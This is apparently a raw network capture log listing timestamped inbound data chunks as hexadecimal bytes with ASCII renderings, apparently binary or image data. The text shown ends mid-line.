2022-07-20 13:44:18 UTC	4958	IN	Data Raw: 31 9c ac b6 26 57 c6 29 d3 52 00 5b 18 ab a4 71 84 f7 35 1f 9f b2 6e b0 c5 26 66 7c 65 a3 36 dc 43 02 6a 7b a5 b4 e6 6c fc 7d c6 04 c2 c4 6f 9d 3c 58 e5 8f 60 06 21 61 56 ff 00 32 fb 7e c6 b6 e4 db c2 40 64 0a c0 9f cc 64 e8 5e 8c 97 ec 67 51 13 b5 c9 bf a8 53 5d eb d4 33 e0 66 ed f2 cb 22 bc 2c aa f2 a2 0e 1c 4f 3b 7b f6 2f 9b 58 ee db 56 44 99 32 65 63 41 8d 1c f7 f5 52 51 38 43 1f 15 11 da aa d6 c8 8c a9 77 71 3e 63 e9 0f ae 77 29 33 65 8a 29 17 a7 24 2b d3 6f 67 1f e2 69 03 ec d9 18 98 f1 e6 cf 22 32 4d 42 a2 fa b9 af f7 3c 7a b6 df 68 3c b8 dc 15 8d c8 65 c6 d9 79 9a e7 dc 68 ea 1d ec 48 fe fa e9 fe 91 dc 63 cf 49 e4 cb 54 44 e9 97 99 89 26 a5 7b d2 77 b9 7d ef 7f 5a 22 8d f7 5d ca 0d df 21 53 1a 39 51 a1 88 13 c5 d0 1b a0 97 8f 37 cc 4b da df 2f c7 Data Ascii: 1&W)R[q5n&f\|e6Cj{l}o<X`!aV2~@dd^gQS]3f",O;{/XVD2ecARQ8Cwq>cw)3e)$+ogi"2MB<zh<eyhHcITD&{w}Z"]!S9Q7K/
2022-07-20 13:44:18 UTC	4974	IN	Data Raw: 9c 10 6e 17 d0 63 fd ba ba a8 ec a2 c6 3e 3e 34 52 63 e2 42 7f 2f 1d 6d 8d 7c 4d de 64 b9 9b e6 78 6d f0 78 74 06 66 e6 d0 64 74 a4 7e 9c 34 b6 eb 4d 01 f0 db 25 56 dd 06 3d 43 b6 6d aa 98 b0 ca d9 99 20 73 24 0a 58 54 fb 59 17 e5 a5 cf ef 3c 89 af 57 13 7c dd d1 88 e9 60 63 da 2f 56 02 69 08 3c d7 18 16 e4 89 fc 7e ee 8c 21 2a 72 9b 95 4f 06 93 94 b6 5d e5 4e 77 fb 95 38 de e4 7f 6d 36 d9 a1 9b 26 3f cc 88 51 83 83 64 ab c8 c4 03 e2 b9 6c 7f 32 37 c2 da 5b ea 3d cb 22 27 1b 60 c4 9e 72 56 b5 55 a0 27 f9 8f 91 5b 2e 4f 73 4e 60 31 6d 10 89 a6 cc 96 52 12 da c9 c0 5a a6 de af 48 05 f8 7a 9f c4 d3 09 ff 00 31 33 ab 63 b2 b4 74 1c 7d be f2 b2 f8 b4 16 95 16 72 ea b9 47 dc cf 24 e6 5f a7 45 40 5e d6 e3 ec d7 36 da fa db 7e 55 92 d2 36 02 8c 18 fb 7b d6 f2 f2 Data Ascii: nc>>4RcB/m\|Mdxmxtfdt~4M%V=Cm s$XTY<W\|`c/Vi<~!*rO]Nw8m6&?Qdl27[="'`rVU'[.OsN`1mRZHz13ct}rG$_E@^6~U6{
2022-07-20 13:44:18 UTC	4981	IN	Data Raw: be 9a b7 ab 32 31 16 1c 74 c6 62 5a 88 8c c0 21 b8 f7 5c 7e 27 27 7b 97 4f c5 e6 a2 f2 84 60 d6 53 93 61 89 8f f3 7d af cb ce a6 6f 29 dd 08 36 c4 9c 7d e7 fc ba 67 0e 24 3b 56 2c 10 cd 22 c4 dd 31 db db c7 9b bb de f1 69 76 46 ff 00 b7 6d ca 49 49 72 e5 ad 40 5e 0a 7c 3c be 2f d4 d2 3d ef 78 96 06 a4 f0 e3 99 89 25 f8 b4 87 fa cc 9f 2f ee 69 6c 79 7b ae fd 13 41 1b 15 58 94 b5 88 a6 a5 3b cc ca a2 d5 58 93 fa 2e ab b7 f9 7b ce 43 39 cb 33 76 e6 c3 f0 fe d5 29 fd 1e dd 19 a5 97 9b c2 bd d1 f0 d5 1e 5f ac 77 56 0b 1c 10 45 86 1e 95 62 43 48 ab e6 b1 fc 76 f8 2d d2 7c 7c e3 0e 4a 6e 19 b9 86 69 96 e0 14 ab 49 50 c2 d6 f1 46 90 bb 7f 93 dc d2 14 c3 18 c9 f9 9c c9 2f 62 2a 89 d8 08 f3 bf 96 ef 0f 9b 5f 7e 6e 49 71 dc 42 40 79 ad 63 5e d5 a7 85 5b c3 a7 53 65 Data Ascii: 21tbZ!\~''{O`Sa}o)6}g$;V,"1ivFmIIr@^\|</=x%/ily{AX;X.{C93v)_wVEbCHv-\|\|JniIPF/b*_~nIqB@yc^[Se
2022-07-20 13:44:18 UTC	4997	IN	Data Raw: 6f a7 87 9e 83 2f 24 65 8d ce 3c 71 ed ae 53 8d bc cc ac 26 b8 91 1e 3d 95 93 88 01 5a ee 9a 84 55 65 b5 59 bc da ab f4 f6 ef fe b9 95 24 2f 12 41 09 42 e3 a7 c7 9b 80 86 3e a3 69 56 f7 b3 43 36 d7 8f 9d 1c 67 15 cc cd 0b a3 1a 3b f2 21 bd d3 ed 69 1e d1 0b cb 3d d8 ac d1 08 08 49 28 68 4f 82 ff 00 0d af e6 7d 6c ee a1 8a 78 7c c2 02 3e 3a 30 d5 53 c3 d3 f4 4a aa 1b 12 07 f6 57 55 cf 85 33 8c 58 93 b3 c1 2c 06 f8 26 8c 51 85 47 cc f3 24 ed 22 fe 25 da 96 83 60 9f 6c cb 39 73 66 99 8c c5 9a aa cc a5 b8 fc bb d9 7b af e6 b9 2c d3 dd ba 5e ba ac 70 49 40 82 ea ba d4 37 84 3f 54 15 d1 0f 87 8d 9b 7a fe 1e 44 66 d0 55 39 09 ef db c2 c6 66 b7 58 03 71 2a 9c 18 e9 8e 0d ca bd 0b f0 d4 8e 5d 6f db c4 f3 00 69 4e ed b2 27 a8 63 75 74 0d 38 5a ac a2 8a 6f 03 b8 6e Data Ascii: o/$e<qS&=ZUeY$/AB>iVC6g;!i=I(hO}lx\|>:0SJWU3X,&QG$"%`l9sf{,^pI@7?TzDfU9fXq*]oiN'cut8Zon
2022-07-20 13:44:18 UTC	5013	IN	Data Raw: b2 c3 d9 c2 bf a7 e9 3a ea 33 ed 5b 74 1b 7b 65 4d 19 64 81 ec 95 a1 76 95 05 3f 11 a5 c0 ce 54 96 26 8e ef 99 12 cb dd e7 8e 6d 4a ef de 91 56 8d 33 f0 26 8c e3 4a 68 af 1d 42 12 07 72 68 1e f9 a0 93 ff 00 52 26 d6 93 89 54 de 51 60 41 6b af 36 38 fb 3e cf b3 4c 2c a9 a2 f0 3e 8f 77 aa a6 31 5e 37 ad bd 82 a3 5a f3 62 0d 01 2d da 0f 03 f4 6b 1c 8d b2 6c 09 ce 34 e6 82 a1 89 43 c5 aa 38 59 ee e9 aa 2f 57 19 12 34 ea 48 5d 54 25 39 d9 ab 45 b5 7c fa 13 3a a9 57 53 90 24 7f 65 1d 39 94 83 d8 29 5e db 9c ad 4c 60 39 87 fc 74 76 df 93 16 4b 11 2d 23 b5 a8 2a 69 5f 87 4f b6 af 44 67 4f 2a 19 3a 31 af 11 20 67 17 a9 e6 44 49 63 89 79 1b 4e a3 ff 00 6d 97 6d c9 4e 75 79 04 94 68 a4 52 14 a7 2b 5d 7b 3b 49 2a 37 91 1b 42 79 a1 7c c2 5c 95 d5 8a f3 61 d4 dc de 1e Data Ascii: :3[t{eMdv?T&mJV3&JhBrhR&TQ`Ak68>L,>w1^7Zb-kl4C8Y/W4H]T%9E\|:WS$e9)^L`9tvK-#i_ODgO:1 gDIcyNmmNuyhR+]{;I*7By\|\a
2022-07-20 13:44:18 UTC	5021	IN	Data Raw: b2 39 7c 3f 6f 58 e4 ce f9 12 a4 ab 2d b0 f0 06 33 c6 8c 7b 82 e5 fe 6f 9b 4a 7f f9 0c 78 ac 65 13 c8 86 26 0b 25 16 aa 41 f0 37 8b 99 d7 cb dc d7 04 79 57 95 46 5d eb 0e da be 21 c0 bf 6f 03 5a 99 f1 33 99 f2 9a 35 fc c2 32 a8 a8 a5 69 cc bc bf c4 4b 39 5a ed 13 95 bb a6 34 0d 2b 48 b6 d6 aa aa bc 1a bc b7 5e 9c bc 9e ef 7b 5a 7f d6 f6 89 8b e4 a9 05 a5 a1 64 75 e2 2d 27 f0 e1 5f c3 5f 33 77 19 7b da f3 7b de 51 a1 82 38 21 11 4c d2 5a b2 00 0c 6a 47 37 42 4f 8b f1 63 d1 fc b6 67 55 64 6b 5f bd dd d3 9b aa 82 00 07 10 4f ae a8 1f 70 8d b6 f6 93 26 bc 40 58 c5 2b 56 23 a8 8d ee fd ed 45 66 fa 96 6c 75 e9 e5 a4 53 c0 ef c1 56 8c 80 57 bf 78 f9 88 cb dc f0 68 9d c3 09 30 76 f4 59 99 03 29 51 32 c5 5a bd df 51 e5 e6 5f e5 ea 76 1c 59 f3 9a 68 30 dc e3 63 31 Data Ascii: 9\|?oX-3{oJxe&%A7yWF]!oZ352iK9Z4+H^{Zdu-'__3w{{Q8!LZjG7BOcgUdk_Op&@X+V#EfluSVWxh0vY)Q2ZQ_vYh0c1
2022-07-20 13:44:18 UTC	5037	IN	Data Raw: ee 3b 67 4e b6 e1 85 8b 16 52 5d af 56 a3 96 25 1d be 4a de fd 36 fe 12 7d bd 6a 6e 19 02 00 42 92 da b1 66 e9 cb c1 d7 d7 dc a4 94 12 45 58 6d 43 17 78 c0 49 52 30 81 c5 59 1d 89 62 2b f8 97 2f 9f df d3 5c 2d 87 1b 06 49 9b 1d 44 2d 41 57 e3 42 29 fa 6d e4 d4 b7 5f 1b 61 55 c6 c2 88 17 51 49 32 5c 32 96 3d b6 aa 55 7e 5a 78 6f fb ba c3 d4 be a1 6c 5d bd b1 71 e6 8e 6c 99 14 a3 ac 7d 88 18 54 c9 77 f1 5d a3 fb ba f3 66 09 65 93 08 8b 2c 72 b6 99 78 32 ea 7f ff 00 25 32 b7 b8 1c 48 a0 fd 45 eb b9 30 9e 5c 3d b1 23 92 58 f9 5b 2d a8 58 b5 79 fa 4a c2 ce 9a fe 1d df 6b 50 d9 33 4d 3c 66 7c 86 05 8f 78 0f 65 4d 7b 2b 64 7e 5f 0f ed 68 59 54 06 58 c9 ab af 16 fe ed da 06 66 19 0e 5a 36 2b 71 1c 35 ea 76 7b 38 60 00 20 b7 89 ed cc df 4f 66 a5 cb b5 ec 7e aa c5 Data Ascii: ;gNR]V%J6}jnBfEXmCxIR0Yb+/\-ID-AWB)m_aUQI2\2=U~Zxol]ql}Tw]fe,rx2%2HE0\=#X[-XyJkP3M<f\|xeM{+d~_hYTXfZ6+q5v{8` Of~
2022-07-20 13:44:18 UTC	5053	IN	Data Raw: d8 df 0f 7f 55 ef bb 6d ad 2f 47 22 af 12 0b cb b2 38 62 de 1e 85 a9 1b 33 7f 9a cb 0f bb ae 74 dd 47 38 70 d9 a2 6a b8 e3 e5 c8 bf 17 b5 d7 cf ed 54 ac 85 97 f3 39 18 75 28 ad b3 6d db 6e 62 3c f1 33 fd 13 31 24 02 de 15 b1 b9 f9 ff 00 87 ac 91 f2 71 26 19 52 46 f2 31 50 01 b8 06 55 03 95 56 39 6e 5f d6 d3 17 cb da b7 48 e1 96 39 55 62 59 49 09 31 0a 78 0b 6f 6b 3a 9c 9e 4e a3 75 1d b4 49 c5 db a4 c5 55 67 92 58 94 9e 4e 66 e2 7b 15 1e ef 0f c3 a2 4d b7 63 29 57 6b 07 5b b3 39 56 46 f7 79 e8 eb 32 3d 9a c5 83 5e ed 8f 35 4c b3 63 41 98 e6 79 25 63 92 b7 3b 18 fe 60 2a 3b bf f6 e5 ba 9c ba 5a 1b 17 72 63 8d 19 6e 9d 7b cc 8c 3f 51 2e 6f b5 a6 b9 db 5f 5a 46 9c 45 22 1a 8b 1d 4b 76 79 59 5a ee 5d 1b b4 60 47 34 c5 dc 8b d8 81 c2 9c 0f 7b dd b7 50 db 70 14 Data Ascii: Um/G"8b3tG8pjT9u(mnb<31$q&RF1PUV9n_H9UbYI1xok:NuIUgXNf{Mc)Wk[9VFy2=^5LcAy%c;`*;Zrcn{?Q.o_ZFE"KvyYZ]`G4{Pp
2022-07-20 13:44:18 UTC	5061	IN	Data Raw: c1 e2 a0 a2 d8 2b d8 2b 68 f2 dd a5 f9 bb 64 d8 91 24 b3 91 d1 91 aa a9 75 c6 a4 55 df cb 77 9f 42 64 42 98 d2 d1 78 d3 da a4 8f bb ad e8 f6 f1 13 91 3e 65 ef 8d f9 a8 40 d8 0b 1d 29 f9 da f7 0d f1 63 79 0a 44 83 88 2e 6d a5 7d df c4 66 d5 2e c5 8c 76 67 26 6c b1 39 6e 05 22 52 e5 bf 6f f6 35 03 05 a9 22 b6 42 b1 8a a2 a1 5b 8d 3e 26 d5 ee d1 bc e1 cb 6c 58 48 4d 05 6d 8f b4 01 db fe 2b b4 9e f5 24 11 e2 35 8f d0 aa b8 af c7 cf 52 2c 4d cf 1a b7 db 27 89 1e fc 73 2b 4a 2e 6b 1d 4a 1a a8 ee aa bb 3f 33 2f e1 f3 7c c4 59 63 f8 5f e6 c7 89 9b 1f ff 00 ad 61 88 a3 aa 39 62 28 1a de 78 fd ee 4e 6e 4f 7b 53 72 36 56 5c 74 fc ba a1 11 5e 5c b9 47 08 39 a2 75 69 55 21 fc 5f c3 f9 97 5f dd d6 89 7d 45 9b b7 15 87 35 12 45 08 af 12 70 62 d5 54 46 9a 49 12 49 5a 1b Data Ascii: ++hd$uUwBdBx>e@)cyD.m}f.vg&l9n"Ro5"B[>&lXHMm+$5R,M's+J.kJ?3/\|Yc_a9b(xNnO{Sr6V\t^\G9uiU!__}E5EpbTFIIZ
2022-07-20 13:44:18 UTC	5077	IN	Data Raw: 81 79 75 b7 17 62 5c 8c d1 81 00 63 1c 25 43 96 1c 79 69 d4 bb e2 d7 52 cb 81 e6 54 8f f1 5c 2f 9a d0 a4 8e 4e ef bc be 4d 24 db 30 22 da 61 38 f9 73 44 b9 52 12 f3 35 4d 6e ad 4a fc 3a 5f 7b 1c ce a1 d6 d1 86 51 89 93 f2 c2 b3 2f 7f da ee 75 50 48 57 50 0f 1e df 52 fb 34 6c 98 4b 14 67 a4 52 04 8d 6a cb 40 14 2f c5 a9 fd df 3b 17 72 c8 8a 08 32 15 e3 01 6e 2a 39 47 1e ce 4f 1b 69 a9 da 76 cc 95 55 9e 69 9a 39 98 d4 f5 39 5e 9e ef 79 97 48 33 b6 98 b1 f3 9a 3c 74 48 61 8e 96 30 05 98 fb 6f b2 bd ef 0a f8 b5 92 36 f3 6d 94 ac b2 96 40 b7 b2 63 8f 37 df 7f 65 f1 f8 e8 8b c6 eb d8 38 91 45 6f 38 d9 d3 a1 9f 06 cc 89 63 8e 81 c8 e1 1a 93 46 21 db f8 9a 06 30 90 41 04 ab 29 97 2a 52 2f 58 e2 2a d5 1d d2 bc d7 74 a3 f3 72 eb c9 72 46 12 52 33 24 b5 04 b0 35 53 Data Ascii: yub\c%CyiRT\/NM$0"a8sDR5MnJ:_{Q/uPHWPR4lKgRj@/;r2n9GOivUi99^yH3<tHa0o6m@c7e8Eo8cF!0A)R/X*trrFR3$5S
2022-07-20 13:44:18 UTC	5093	IN	Data Raw: 46 c9 c9 b7 0f 5d 35 cf c9 c6 96 09 21 c8 81 96 61 c5 5d 48 a0 3f 49 5f 2b ae 97 c5 89 29 84 3c 23 a9 09 60 19 90 f1 5a fb 24 5e f2 68 dc ad b8 e0 3a 2e 40 26 19 d5 4a 3f 79 48 22 e8 d8 37 79 3e 1d 3b 93 0e 21 1a e1 6d cc 15 58 ac 92 58 49 76 36 24 76 79 fa 77 34 b2 b4 7f dc d5 5b 74 11 82 a8 3c fd 47 d1 8f f1 3e 3a 04 6a a2 3c 80 b6 3e ad 32 a9 ac ad 83 36 3a c8 91 33 c2 a4 06 61 c6 da f9 b4 c6 5d ae 4d a7 19 84 f6 32 5e 8c 18 10 69 50 6c 5f fa 9e ee b2 df 3f ed 81 86 e5 14 15 42 84 9a 91 de 5b f9 5d 7e da 69 16 6e 64 d3 81 7f 11 4a 9e 1a e5 2f 20 03 a6 c7 5b f7 aa 40 69 14 6a 2d db eb aa 3c 77 c9 dc 55 a6 9e 30 1f 81 05 69 cc 0f f9 3d e7 fb 1a db b9 63 e4 c3 80 f1 63 5a f0 5e 19 dd 7b 78 77 6f 8d f9 ba 7f 67 bd a0 36 58 31 f2 84 45 0b 16 0a 44 a8 4d 08 Data Ascii: F]5!a]H?I_+)<#`Z$^h:.@&J?yH"7y>;!mXXIv6$vyw4[t<G>:j<>26:3a]M2^iPl_?B[]~indJ/ [@ij-<wU0i=ccZ^{xwog6X1EDM
2022-07-20 13:44:18 UTC	5101	IN	Data Raw: 8a 80 1c 80 c7 c3 58 ec 66 66 d4 ee 2b df 1f 00 43 76 1a e9 f4 65 9a 26 28 d7 52 48 56 c7 16 50 de f5 19 b2 b0 0d 60 6d dd ae b1 bf 7a 2f 6f cc 8a e5 59 24 6f e1 8b aa 4f ba cf e1 d4 8f a7 f7 6c ef 4c e4 be c9 96 4c 51 4c ff 00 2f da 2e 3c a1 78 8e eb 7e de ab 7f f9 0e 1c e7 1d 71 5d 84 56 84 31 d3 88 1e 37 65 5f de d6 9f 52 6c 78 7b ec 10 e3 e2 64 07 91 5e e0 6c 25 94 01 e6 f2 af 97 59 9b 69 53 cb fe 9f 74 5e f2 13 6b a3 7e 53 77 7c 7f ab 57 55 69 2d ca 03 8d 55 bc 5e f5 66 7d 0b 97 8c 7a f0 64 08 25 5a 95 5f 60 27 8f 86 fe f6 8a 93 23 d5 0b 6c 51 49 8c fd 2e 05 94 57 b7 f8 b2 2c bc b7 2f 7a dd 7b e9 d8 1f 7e 2d 89 1e 50 eb 63 d1 95 98 35 5a 9d 92 f4 dd bf bf ab 1c 29 1b 1a 18 fa 8c ec f3 70 66 28 00 04 7b bf c3 57 f7 b5 47 62 8a 24 9d 2e 88 df c4 38 3b Data Ascii: Xff+Cve&(RHVP`mz/oY$oOlLLQL/.<x~q]V17e_Rlx{d^l%YiSt^k~Sw\|WUi-U^f}zd%Z_`'#lQI.W,/z{~-Pc5Z)pf({WGb$.8;
2022-07-20 13:44:18 UTC	5117	IN	Data Raw: 9a 5f 2e df 8d 91 b9 66 60 15 fe 33 88 ee ed 22 ad 6a ac 9e 7f da d6 82 e2 77 1e 4d c8 97 0c 8f 80 d0 62 2d ac 87 8e a8 e9 e1 92 3e ac 6a 60 8c b8 a7 39 78 af 46 24 f7 4f d3 e1 d3 1d b2 45 30 be 30 40 f2 32 f1 46 24 50 ff 00 36 2f 7d 34 37 fa 06 74 59 67 13 18 48 ec 7b b6 82 7d b6 f3 f9 6d 6e 56 d7 49 d9 3f db 84 08 b9 9b c1 bf 21 29 45 8c d0 70 fe 61 5e f7 d8 d0 37 db f8 b6 69 69 5f 9f b1 2d 93 1f 86 8c 17 31 7b 02 a7 b7 b6 a1 f1 77 ac b4 20 4a ad 38 b4 aa 5d 52 c0 7d 0a fd eb 75 6f b2 66 36 d7 b4 e5 65 65 23 08 24 4b 23 0e 28 4b 48 3a 4e ac 9f e5 f7 97 dc d5 03 42 d8 e3 a9 84 b1 b2 28 a3 28 51 50 3e 0e f6 b5 34 f8 d9 71 f4 a4 56 05 8f 75 6a cb 5f f9 4d af 3b b8 f9 80 dc c6 23 31 fe 58 60 c4 2b 70 d7 26 e4 ee 54 09 51 58 90 2c 6c 57 2a e5 fb ee cd 3c 58 Data Ascii: _.f`3"jwMb->j`9xF$OE00@2F$P6/}47tYgH{}mnVI?!)Epa^7ii_-1{w J8]R}uof6ee#$K#(KH:NB((QP>4qVuj_M;#1X`+p&TQX,lW*<X
2022-07-20 13:44:18 UTC	5133	IN	Data Raw: 7e 67 c9 7f 17 c1 e4 d3 3d b3 37 f3 d8 e4 2c a1 a4 c7 3d 46 0c b7 10 01 bb 87 0e a5 be 65 56 fb ba 84 49 55 5c 1e c2 0d 41 f6 52 9a 62 f9 e7 06 48 c4 71 88 a5 b8 49 d4 52 6e 17 05 e5 49 2b dd d5 a5 da 97 e9 24 2a d9 94 1e 6c 7d 9a 9e 45 37 03 2b f2 d5 6e f5 b9 ee 32 1c 7c 94 31 48 d7 b1 8e 78 94 07 00 72 aa 64 ac 5f 25 9b cb 3f e2 74 ff 00 13 4e 36 0c 98 37 78 f1 e7 cc 8d 65 cb c6 90 2c 80 80 c1 e8 dd bd 9c c9 2c 5c ad 1f 77 ab dc e7 d2 04 c8 5c 88 51 f6 e8 e5 8d 10 12 50 b1 6e 60 c1 be 1b e7 8b 95 a4 58 fa 7e ef 3e aa 7d 29 ea 7c 6c 75 91 a6 c0 53 21 0b 62 44 40 a8 50 dd 49 7f 2c 3a 6e f3 79 dd 39 b9 2f d0 9e 57 93 2c 7c b5 6d 31 cc f4 30 6f 67 e9 e2 a8 54 b7 31 27 d0 4d b9 aa 37 37 f3 5b 84 f2 6d 8b d3 50 ac f2 27 57 90 ad c0 7c a5 9a 5e 6e 97 82 28 dd Data Ascii: ~g=7,=FeVIU\ARbHqIRnI+$*l}E7+n2\|1Hxrd_%?tN67xe,,\w\QPn`X~>})\|luS!bD@PI,:ny9/W,\|m10ogT1'M77[mP'W\|^n(
2022-07-20 13:44:18 UTC	5140	IN	Data Raw: 61 6e 3e cd 33 f4 5e 26 0a 4e f9 59 28 b3 43 13 50 5e 40 1d bc ae c3 5d 76 3d cb 6d c6 c6 69 1e 45 87 11 c9 06 39 94 58 c4 f8 93 a9 e1 d7 27 f4 6f a8 0e cb 04 b1 c2 b0 bc a6 8c a2 44 2c cc 7b 3a 51 5b e7 f3 6a e3 1b d3 d9 3b ae 67 e7 b3 f1 96 4c 99 16 ab 05 85 61 83 e1 17 fc d9 3c f2 be b3 37 91 96 dc 34 c5 dd 59 46 31 a4 6c de 64 99 72 f2 2f ef 57 42 c3 10 2d 6b dc fb 34 79 df 76 7c 58 94 6c af 8f 34 f1 b5 16 8a 14 02 7f 86 85 55 51 62 bb bd a6 11 6f fb 84 ec 22 9f 08 34 ac a5 0c b0 95 e2 7b cd 12 dc 7c bc da f7 07 0e 3d b2 fc 5f cb e3 ca 90 f1 ab 73 30 24 70 4b e9 7c bf 16 b9 ef aa 33 70 f1 b2 cc 99 d1 84 14 a1 58 d2 d1 ff 00 4e 9d ef 79 d7 56 d9 c4 cc 3f 29 c8 29 92 0e 5f cd 8d f2 ef fe 5c 4b ed 7f 9b cd 47 c4 63 93 01 cb de 3d eb d5 2a e7 c1 98 72 36 Data Ascii: an>3^&NY(CP^@]v=miE9X'oD,{:Q[j;gLa<74YF1ldr/WB-k4yv\|Xl4UQbo"4{\|=_s0$pK\|3pXNyV?))_\KGc=*r6
2022-07-20 13:44:18 UTC	5156	IN	Data Raw: d8 28 a1 b4 83 46 ea fc 52 78 be 1d 75 78 33 60 dc 71 98 e3 48 0d bc 29 c4 11 c3 b6 8d cd a3 bd 49 b2 62 7a 8f 60 8b 70 8d 02 e5 e2 c3 43 4a 1a d9 cb 2a 3f bc 9d fd 4f ca da 60 b2 17 62 52 1b 13 1b 75 af fa 89 53 fc 34 62 46 82 d7 1e cd 7e 78 cd c7 91 32 5a 2a 10 41 b4 8f d1 ad 70 62 e4 07 2a aa 4f 29 24 53 d8 3b 7e ee 9d 98 b2 31 b2 ad b1 66 49 09 a8 7f fe 8d e1 6d 37 c6 11 2f 53 2b 04 d0 a4 2e 92 46 48 af 3f 22 c8 8d 5e 75 f0 eb d3 49 31 45 b2 a9 27 1b 8f df aa f9 ea 00 bd ac 7b 7b b5 1b 88 f2 4d 3a 42 86 d2 c4 29 3a 71 74 46 b1 dc a4 f9 98 f6 53 4b 22 85 b1 da b2 0e 6a 56 9f a7 5e e1 e3 99 2e 6a 1e 03 8f e8 d1 1c a3 71 e0 38 55 d9 6e 46 b6 b7 1a 63 85 b9 3c 8c 98 d2 1b 56 e1 75 7b 29 e6 6d 3d da 30 36 fc fc c5 9f 12 52 24 86 4b d9 4f 00 c0 77 dd 6e d2 Data Ascii: (FRxux3`qH)Ibz`pCJ?O`bRuS4bF~x2ZApb*O)$S;~1fIm7/S+.FH?"^uI1E'{{M:B):qtFSK"jV^.jq8UnFc<Vu{)m=06R$KOwn
2022-07-20 13:44:18 UTC	5172	IN	Data Raw: a6 66 74 89 40 0c 2b 56 5b ae 23 c2 ff 00 7b 97 97 41 f9 a4 6c 62 2c bd 9e 9a 67 6f 60 6b a8 e3 66 26 12 91 29 3c aa 38 d3 ff 00 cd ab 7d 9d 24 c6 f5 56 2e e7 b9 08 21 4b c1 20 06 24 d0 11 c5 85 a7 c3 ff 00 e1 2c f3 69 ec f8 3f ea 18 ee 95 68 cb 8a 16 5a dd d8 07 b7 50 db 46 c3 2e c3 b8 d0 4a b9 10 46 43 38 53 4a 8a dc 63 95 b9 ba 7f 86 bf 77 5e 4f 65 2e d9 e0 92 29 54 09 0f 03 d3 f7 bd fa 66 4c 81 cd 75 f4 8a 8c df 46 4c d9 39 8c 11 da 15 c8 b9 e8 18 05 66 af 2c 8a dd c7 4e 7e fe 92 07 8d 14 a0 6a 3f 1a d7 b2 9e cd 75 6c cc 9c 5c c7 cd 97 36 c9 b0 07 3d 52 21 14 a1 b9 57 a5 20 c6 1c b2 27 8f ab f2 26 ef 47 25 cd ae 63 b9 be 14 79 37 63 06 29 71 ef 53 bb e0 e7 fe 27 dc 4d 7a ed a1 b1 30 95 25 14 00 8f 6e 57 f8 be 1a 45 b5 3a f6 eb 6a 1a 1c d7 58 e4 48 a4 Data Ascii: ft@+V[#{Alb,go`kf&)<8}$V.!K $,i?hZPF.JFC8SJcw^Oe.)TfLuFL9f,N~j?ul\6=R!W '&G%cy7c)qS'Mz0%nWE:jXH
2022-07-20 13:44:18 UTC	5180	IN	Data Raw: 62 bb 58 40 89 4e 28 35 ff 00 53 db 7f 13 d4 3c b6 92 ef c6 f6 fb 7d 34 8b 6d 29 24 a5 a5 56 99 dc 1a 82 78 93 e6 bf 5f 26 52 e3 ca 41 46 07 e8 fa b4 4e cd 22 ab b7 4d ac 2a 48 57 65 aa 9f f9 ab e0 f8 d7 5e 7a 95 16 37 8d 51 48 76 5b 89 a7 d2 7c 2d e2 5d 1a f7 7f fe 7f ab 52 cc 33 0a 47 55 ec 7d 15 bb 12 6c 2c 8c 85 33 56 b5 ad 1b 85 4f 96 bd dd 63 8c 91 3e 58 58 9a 90 96 ef 1e f2 2f be 3c 56 eb 4e 74 10 26 14 33 33 83 92 ee 78 0e cb 14 0b 5b e2 79 35 a6 3c 95 8e 3b 81 00 1f 60 06 b5 fa 2e d4 5d 5e ee b7 0c 2e 99 7d 47 ba ad 55 68 f4 e5 e1 e8 3d 37 aa cd d2 b8 09 fe 99 13 54 cc 43 5f 4e 04 8e 74 5f 85 f4 2e cf bb cb b3 e4 45 91 0c 8b d5 49 03 30 6e 00 8a 59 d3 f8 2d ef 69 54 33 3e e3 de 91 9e c1 40 09 24 af d1 f6 74 76 1e 5b ec 6e f8 cf d2 97 1a 74 56 66 Data Ascii: bX@N(5S<}4m)$Vx_&RAFN"M*HWe^z7QHv[\|-]R3GU}l,3VOc>XX/<VNt&33x[y5<;`.]^.}GUh=7TC_Nt_.EI0nY-iT3>@$tv[ntVf
2022-07-20 13:44:18 UTC	5196	IN	Data Raw: bf dd d5 3b 64 0c 98 b1 e6 2c 63 08 b4 b4 54 f2 f2 f5 2f f1 dd c9 f0 3a ea 7f 79 c1 7c da b4 24 05 88 00 b4 00 02 2e 58 b8 fb d7 73 73 73 f9 b4 d7 19 d3 02 a8 b2 b4 88 43 f2 9e 02 80 5c b5 5f f3 15 6d 6f e5 fd ad 25 28 0d 12 5b 56 5c b4 a7 87 59 f4 1b 56 ad c2 49 72 9d 04 75 10 c6 a4 b9 a9 a7 cc 0b 2f d9 e5 65 46 4f ef 69 1e e0 b1 a5 ce 51 94 8b 5b 81 14 1c 6c 35 f7 b5 59 85 90 60 c7 ca ad 0a b7 49 c5 c3 94 37 1a dd f1 2c 6b 66 a7 b2 a4 fc fc a8 24 a2 c2 c4 b7 1f 61 3d f6 b7 e1 48 f5 6d bb 10 d6 b5 95 3b 7d 3f cc a8 90 7a f5 35 8e 0e 43 b4 76 fb 1b b7 b2 a3 47 47 9c 9d 11 d3 8d 18 13 6d 69 53 5a fb 3c ba 49 9f 96 30 59 95 b9 24 00 8b 7b 2a 08 d6 1b 6e 51 c8 c7 55 6e c5 e0 38 7b 6b a6 1b 6e 59 7c db 72 de a8 af 6e 5a 7a b8 52 11 40 09 15 05 ae f6 0d 0b 36 Data Ascii: ;d,cT/:y\|$.XsssC\_mo%([V\YVIru/eFOiQ[l5Y`I7,kf$a=Hm;}?z5CvGGmiSZ<I0Y${*nQUn8{knY\|rnZzR@6
2022-07-20 13:44:18 UTC	5212	IN	Data Raw: ce f1 7c 1a d9 81 15 b8 d2 b6 07 34 d6 32 1a 77 ca b1 e7 60 bf 07 2f 2f 85 b4 ff 00 64 92 18 f1 72 51 8a f4 a6 48 81 56 3d be 6f 7b e2 d5 1a 46 66 2c b6 e4 64 40 1f 8f e6 37 96 cd f7 eb 98 47 1a fe 52 dc 8b b3 05 e5 6e 5f cc c6 a4 70 b1 e4 c7 46 7b 7a 8e dc 29 ec b6 9d eb fd dd 3d d8 3f 31 97 5c 29 24 22 1c 85 08 e2 b5 01 6b 55 b2 be 25 d0 f9 7b 6c 9b 3c 92 e1 a5 68 c6 a8 7d c2 2f ed d6 97 c9 c7 9a 27 c3 89 99 2f 65 26 4a 56 81 7c 1e 6e f3 77 b4 7d d4 49 8d 9e ec c7 50 2d d1 e0 6f 83 ab f0 55 3c e3 27 34 63 b3 53 fb b4 b7 37 0d 71 32 24 48 1c bc 6a ec 23 7e cb 94 1e 57 fb 5a d4 ea 20 5a 37 02 7d 9f a7 8e aa b7 4f 4f e3 6d f0 e3 2e 24 e2 43 24 57 4a cc 7c 